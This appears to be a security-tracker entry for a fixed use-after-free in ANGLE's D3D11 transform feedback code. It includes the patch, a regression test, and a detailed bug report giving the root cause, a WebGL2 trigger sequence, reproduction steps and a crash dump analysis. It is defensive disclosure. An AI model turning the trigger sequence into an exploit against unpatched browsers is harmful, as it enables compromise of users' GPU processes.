Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in GPU
DescriptionUse after free in GPU
ComponentGPU
Bug ClassUAF
Tracker489791425
Fix commit06e6c6b59454 (angle/angle) +42/-0
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Disclosed2026-05-19

Files Changed

  • src/libANGLE/renderer/d3d/d3d11/TransformFeedback11.cpp
  • src/tests/gl_tests/TransformFeedbackTest.cpp
From 06e6c6b59454d0a122fb274b2e1dd0ab09ffb638 Mon Sep 17 00:00:00 2001
From: Geoff Lang <geofflang@chromium.org>
Date: Mon, 23 Mar 2026 12:30:56 -0400
Subject: [PATCH] D3D11: Fix buffer state tracking in TransformFeedback11.

TransformFeedback11::getSOBuffers would only update the elements of
mBuffers if the GL buffer binding was non-null. This could lead to
setting a previously-deleted buffer on the DeviceContext later.

Update the state tracking in TransformFeedback11 to null out entries in
mBuffers every time a new buffer is bound and add a null check when
synchronizing mBuffers.

Bug: angleproject:489791425
Change-Id: Ic80e36c1511d5e14d41a13c56f5055c55f36bc20
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/7689826
Reviewed-by: Shahbaz Youssefi <syoussefi@chromium.org>
Commit-Queue: Geoff Lang <geofflang@chromium.org>
---

diff --git a/src/libANGLE/renderer/d3d/d3d11/TransformFeedback11.cpp b/src/libANGLE/renderer/d3d/d3d11/TransformFeedback11.cpp
index 4620f67..3560fee 100644
--- a/src/libANGLE/renderer/d3d/d3d11/TransformFeedback11.cpp
+++ b/src/libANGLE/renderer/d3d/d3d11/TransformFeedback11.cpp
@@ -77,6 +77,7 @@
 {
     mIsDirty              = true;
     mBufferOffsets[index] = static_cast<UINT>(binding.getOffset());
+    mBuffers[index]       = nullptr;
     mRenderer->getStateManager()->invalidateTransformFeedback();
     return angle::Result::Continue;
 }
@@ -114,6 +115,10 @@
                                          &mBuffers[bindingIdx], &feedback));
             binding.get()->applyImplFeedback(context, feedback);
         }
+        else
+        {
+            mBuffers[bindingIdx] = nullptr;
+        }
     }
 
     *buffersOut = &mBuffers;
diff --git a/src/tests/gl_tests/TransformFeedbackTest.cpp b/src/tests/gl_tests/TransformFeedbackTest.cpp
index ed019b1..d52d3b3 100644
--- a/src/tests/gl_tests/TransformFeedbackTest.cpp
+++ b/src/tests/gl_tests/TransformFeedbackTest.cpp
@@ -4736,6 +4736,43 @@
     glEndTransformFeedback();
 }
 
+// Test that deleting a buffer bound to a transform feedback slot that is not used by the current
+// program.
+TEST_P(TransformFeedbackTest, StaleBufferBinding)
+{
+    std::vector<std::string> tfVaryings = {"gl_Position"};
+    mProgram                            = CompileProgramWithTransformFeedback(
+        essl3_shaders::vs::Simple(), essl3_shaders::fs::Red(), tfVaryings, GL_INTERLEAVED_ATTRIBS);
+    ASSERT_NE(0u, mProgram);
+    glUseProgram(mProgram);
+
+    GLBuffer buf0, buf1;
+    glBindBuffer(GL_TRANSFORM_FEEDBACK_BUFFER, buf0);
+    glBufferData(GL_TRANSFORM_FEEDBACK_BUFFER, 1024, nullptr, GL_DYNAMIC_COPY);
+    glBindBuffer(GL_TRANSFORM_FEEDBACK_BUFFER, buf1);
+    glBufferData(GL_TRANSFORM_FEEDBACK_BUFFER, 1024, nullptr, GL_DYNAMIC_COPY);
+
+    glBindBufferBase(GL_TRANSFORM_FEEDBACK_BUFFER, 0, buf0);
+    glBindBufferBase(GL_TRANSFORM_FEEDBACK_BUFFER, 1, buf1);
+
+    // Draw once with the buffers, syncs initial state.
+    glBeginTransformFeedback(GL_POINTS);
+    glDrawArrays(GL_POINTS, 0, 1);
+    glEndTransformFeedback();
+
+    // Regular draw while TF inactive, syncs null transform feedback buffers.
+    glDrawArrays(GL_POINTS, 0, 1);
+
+    buf1.reset();
+
+    // Draw with TF after the buffer has been deleted. It should not be referenced.
+    glBeginTransformFeedback(GL_POINTS);
+    glDrawArrays(GL_POINTS, 0, 1);
+    glEndTransformFeedback();
+
+    ASSERT_GL_NO_ERROR();
+}
+
 GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(TransformFeedbackTest);
 ANGLE_INSTANTIATE_TEST_ES3_AND(TransformFeedbackTest,
                                ES3_VULKAN().disable(Feature::SupportsTransformFeedbackExtension),
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/src/tests/gl_tests/TransformFeedbackTest.cpp b/src/tests/gl_tests/TransformFeedbackTest.cpp
index ed019b1..d52d3b3 100644
--- a/src/tests/gl_tests/TransformFeedbackTest.cpp
+++ b/src/tests/gl_tests/TransformFeedbackTest.cpp
@@ -4736,6 +4736,43 @@
     glEndTransformFeedback();
 }
 
+// Test that deleting a buffer bound to a transform feedback slot that is not used by the current
+// program.
+TEST_P(TransformFeedbackTest, StaleBufferBinding)
+{
+    std::vector<std::string> tfVaryings = {"gl_Position"};
+    mProgram                            = CompileProgramWithTransformFeedback(
+        essl3_shaders::vs::Simple(), essl3_shaders::fs::Red(), tfVaryings, GL_INTERLEAVED_ATTRIBS);
+    ASSERT_NE(0u, mProgram);
+    glUseProgram(mProgram);
+
+    GLBuffer buf0, buf1;
+    glBindBuffer(GL_TRANSFORM_FEEDBACK_BUFFER, buf0);
+    glBufferData(GL_TRANSFORM_FEEDBACK_BUFFER, 1024, nullptr, GL_DYNAMIC_COPY);
+    glBindBuffer(GL_TRANSFORM_FEEDBACK_BUFFER, buf1);
+    glBufferData(GL_TRANSFORM_FEEDBACK_BUFFER, 1024, nullptr, GL_DYNAMIC_COPY);
+
+    glBindBufferBase(GL_TRANSFORM_FEEDBACK_BUFFER, 0, buf0);
+    glBindBufferBase(GL_TRANSFORM_FEEDBACK_BUFFER, 1, buf1);
+
+    // Draw once with the buffers, syncs initial state.
+    glBeginTransformFeedback(GL_POINTS);
+    glDrawArrays(GL_POINTS, 0, 1);
+    glEndTransformFeedback();
+
+    // Regular draw while TF inactive, syncs null transform feedback buffers.
+    glDrawArrays(GL_POINTS, 0, 1);
+
+    buf1.reset();
+
+    // Draw with TF after the buffer has been deleted. It should not be referenced.
+    glBeginTransformFeedback(GL_POINTS);
+    glDrawArrays(GL_POINTS, 0, 1);
+    glEndTransformFeedback();
+
+    ASSERT_GL_NO_ERROR();
+}
+
 GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(TransformFeedbackTest);
 ANGLE_INSTANTIATE_TEST_ES3_AND(TransformFeedbackTest,
                                ES3_VULKAN().disable(Feature::SupportsTransformFeedbackExtension),
Loading diff…

Original Bug Report

reported by je...@gmail.com

ANGLE D3D11: stale ID3D11Buffer pointer in TransformFeedback11 mBuffers leads to use-after-free in GPU process via SOSetTargets

ANGLE D3D11: stale ID3D11Buffer pointer in TransformFeedback11 mBuffers leads to use-after-free in GPU process via SOSetTargets

Summary

The ANGLE D3D11 backend caches raw ID3D11Buffer* pointers in TransformFeedback11::mBuffers but never clears entries whose corresponding GL buffer binding has become null. When a WebGL2 program binds a transform feedback buffer to an unused slot, performs a TF draw to populate the cache, then deletes the buffer and initiates a second TF draw, the stale pointer is passed to ID3D11DeviceContext::SOSetTargets, which dereferences the freed COM object. This is a use-after-free in the GPU process on Windows systems using the D3D11 rendering backend. The vulnerability is deterministic and triggers on every attempt.

Platform: Windows only (D3D11 backend). Requires a GPU with D3D11 support.

Bisect

Introducing Commit: 73bd218e12d26a626e0b21625606593ad2a5fd1a

Root Cause

TransformFeedback11 maintains a vector of raw ID3D11Buffer* pointers that mirror the GL-level indexed buffer bindings for stream output. When getSOBuffers prepares the buffer array for SOSetTargets, it iterates over all slots but only writes into mBuffers[i] when the corresponding binding is non-null.

// third_party/angle/src/libANGLE/renderer/d3d/d3d11/TransformFeedback11.cpp
for (size_t bindingIdx = 0; bindingIdx < mBuffers.size(); bindingIdx++)
{
    const auto &binding = mState.getIndexedBuffer(bindingIdx);
    if (binding.get() != nullptr)
    {
        Buffer11 *storage = GetImplAs<Buffer11>(binding.get());
        BufferFeedback feedback;
        ANGLE_TRY(storage->getBuffer(context, BUFFER_USAGE_VERTEX_OR_TRANSFORM_FEEDBACK,
                                     &mBuffers[bindingIdx], &feedback));
        binding.get()->applyImplFeedback(context, feedback);
    }
    // Missing: else { mBuffers[bindingIdx] = nullptr; }
}

When a binding transitions from non-null to null, as happens when deleteBuffer detaches the buffer from the transform feedback object, the corresponding mBuffers entry retains the old ID3D11Buffer*. The pointer returned by Buffer11::getBuffer is a non-owning raw pointer obtained via .get() on the internal Resource11<ID3D11Buffer> wrapper, with no AddRef performed. Once the Buffer11 is destroyed by deleteBuffer, its destructor releases the underlying ID3D11Buffer through TypedData::~TypedData, which calls Release() and drops the COM refcount to zero.

Meanwhile, TransformFeedback11::bindIndexedBuffer, called during the detach path, marks the object as dirty and updates the offset but does not clear mBuffers[index].

// third_party/angle/src/libANGLE/renderer/d3d/d3d11/TransformFeedback11.cpp
angle::Result TransformFeedback11::bindIndexedBuffer(
    const gl::Context *context,
    size_t index,
    const gl::OffsetBindingPointer<gl::Buffer> &binding)
{
    mIsDirty              = true;
    mBufferOffsets[index] = static_cast<UINT>(binding.getOffset());
    mRenderer->getStateManager()->invalidateTransformFeedback();
    return angle::Result::Continue;
}

The number of buffers passed to SOSetTargets is determined by getNumSOBuffers, which returns mBuffers.size(), the total number of indexed buffer slots (typically 4 on D3D11), regardless of how many the linked program actually requires.

// third_party/angle/src/libANGLE/renderer/d3d/d3d11/TransformFeedback11.cpp
UINT TransformFeedback11::getNumSOBuffers() const
{
    return static_cast<UINT>(mBuffers.size());
}

The validation performed by ValidateProgramExecutableXFBBuffersPresent only checks slots up to programExecutable->getTransformFeedbackBufferCount(). For a program linked with INTERLEAVED_ATTRIBS and a single varying, this count is 1, so only slot 0 is validated. Slot 1 can be null without causing a validation failure, yet mBuffers[1] still holds the dangling pointer and is passed to SOSetTargets.

// third_party/angle/src/libANGLE/validationES.cpp
bool ValidateProgramExecutableXFBBuffersPresent(const Context *context,
                                                const ProgramExecutable *programExecutable)
{
    size_t programXfbCount = programExecutable->getTransformFeedbackBufferCount();
    const TransformFeedback *transformFeedback = context->getState().getCurrentTransformFeedback();
    for (size_t programXfbIndex = 0; programXfbIndex < programXfbCount; ++programXfbIndex)
    {
        const OffsetBindingPointer<Buffer> &buffer =
            transformFeedback->getIndexedBuffer(programXfbIndex);
        if (!buffer.get())
        {
            return false;
        }
    }
    return true;
}

The trigger sequence exploits this gap between the number of slots the program needs and the number getSOBuffers passes to D3D. The attacker binds a buffer to a slot unused by the program, performs a TF draw to cache its D3D pointer, unbinds and deletes it, then begins a new TF pass. Because validation only checks program-required slots, the second beginTransformFeedback succeeds, and the subsequent draw call feeds the stale pointer to SOSetTargets. The D3D11 runtime attempts to access the freed COM object, resulting in a use-after-free.

Reproduce

This bug affects the ANGLE D3D11 backend and can only be reproduced on Windows with a GPU that uses the D3D11 rendering path. It was tested on Chromium commit cdd1f63c02a65c37ccdb85e85b25dbec456c9914.

No source code modifications are required. The PoC is a self-contained HTML file that triggers the vulnerability through the WebGL2 Transform Feedback API.

To build Chromium, use a release configuration. Create out/release/args.gn with the following content, then run gn gen out/release and autoninja -C out/release chrome.

is_debug = false
dcheck_always_on = false
target_cpu = "x64"

Because the use-after-free occurs on a D3D11 COM object allocated by the Windows system heap rather than by an ASAN-instrumented allocator, ASAN cannot detect this bug. Windows Page Heap is the appropriate detection tool. Enable it by running the following command in an elevated (Administrator) command prompt, where the path to gflags.exe may vary depending on the Windows SDK installation.

"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\gflags.exe" /p /enable chrome.exe /full

Serve the PoC over HTTP. From the directory containing poc.html, start a local server with python -m http.server 8080.

Launch Chrome with the following command.

out\release\chrome.exe --no-sandbox --user-data-dir=%TEMP%\angl107_test --no-first-run --disable-default-apps --disable-extensions http://localhost:8080/poc.html

The PoC runs 50 iterations of the trigger sequence automatically. Within several seconds, the GPU process will crash with an access violation inside d3d11!CContext::TID3D11DeviceContext_SOSetTargets_<2>, and Chrome will report “The GPU process has crashed” in its stderr output. A Crashpad dump is written to the user data directory under Crashpad/reports/. Analyzing the dump with WinDbg confirms the crash occurs when SOSetTargets dereferences a dangling ID3D11Buffer* pointer at a page marked PAGE_NOACCESS by the page heap.

After testing, disable page heap by running the following command in an elevated prompt.

"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\gflags.exe" /p /disable chrome.exe

Crash log

Chrome stderr:
[12552:19208:WARNING:content\browser\gpu\gpu_process_host.cc:1441] The GPU process has crashed 1 time(s)
[12552:19208:INFO:CONSOLE:0] "WebGL: CONTEXT_LOST_WEBGL: loseContext: context lost"
[12552:19208:WARNING:content\browser\gpu\gpu_process_host.cc:1021] Reinitialized the GPU process after a crash. The reported initialization time was 214 ms

WinDbg crash dump analysis (GPU process):

EXCEPTION_RECORD:
ExceptionAddress: 00007ff94483640a (d3d11!CContext::TID3D11DeviceContext_SOSetTargets_<2>+0xda)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000000
   Parameter[1]: 000001b1b6e68fd0
Attempt to read from address 000001b1b6e68fd0

CONTEXT:
rax=0000000000000000 rbx=000001b1a02052a0 rcx=0000000000000001
rdx=000001b1b6e68e78 rsi=0000000000000000 rdi=0000000000000004
rip=00007ff94483640a rsp=000000abd43fd690 rbp=0000000000000000
 r8=0000000000000000  r9=0000204800173d28 r10=000000abd43fd6c1
r11=0000000000000000 r12=0000204800038f80 r13=0000000000014000
r14=0000000000000001 r15=0000204800173d20

Faulting instruction:
d3d11!CContext::TID3D11DeviceContext_SOSetTargets_<2>+0xda:
00007ff94483640a  cmp dword ptr [rdx+158h],eax  ds:000001b1b6e68fd0=????????

NTGLOBALFLAG:  2000000
APPLICATION_VERIFIER_LOADED: 1
FAILURE_BUCKET_ID:  INVALID_POINTER_READ_AVRF_c0000005_d3d11.dll!CContext::TID3D11DeviceContext_SOSetTargets__2_

STACK_TEXT:
d3d11!CContext::TID3D11DeviceContext_SOSetTargets_<2>+0xda
libglesv2!glStartTilingQCOM+0x32bece  (StateManager11::syncTransformFeedbackBuffers)
libglesv2!glStartTilingQCOM+0x32b1f6  (StateManager11::updateState)
libglesv2!glStartTilingQCOM+0x2ff2fe  (Context11::drawArrays)
libglesv2!GL_DrawArrays+0x31f         (gl::Context::drawArrays)
chrome!...                             (GPU command buffer dispatch)

The register rdx holds the value 000001b1b6e68e78, which is the dangling ID3D11Buffer* from mBuffers[1]. The D3D11 runtime reads at rdx+0x158 (000001b1b6e68fd0), which falls on a PAGE_NOACCESS guard page placed by the page heap around the freed allocation. This confirms a use-after-free on the released COM object.

Credit

Please use c6eed09fc8b174b0f3eebedcceb1e792 as the credit for this vulnerability. Thank you.

View on issue tracker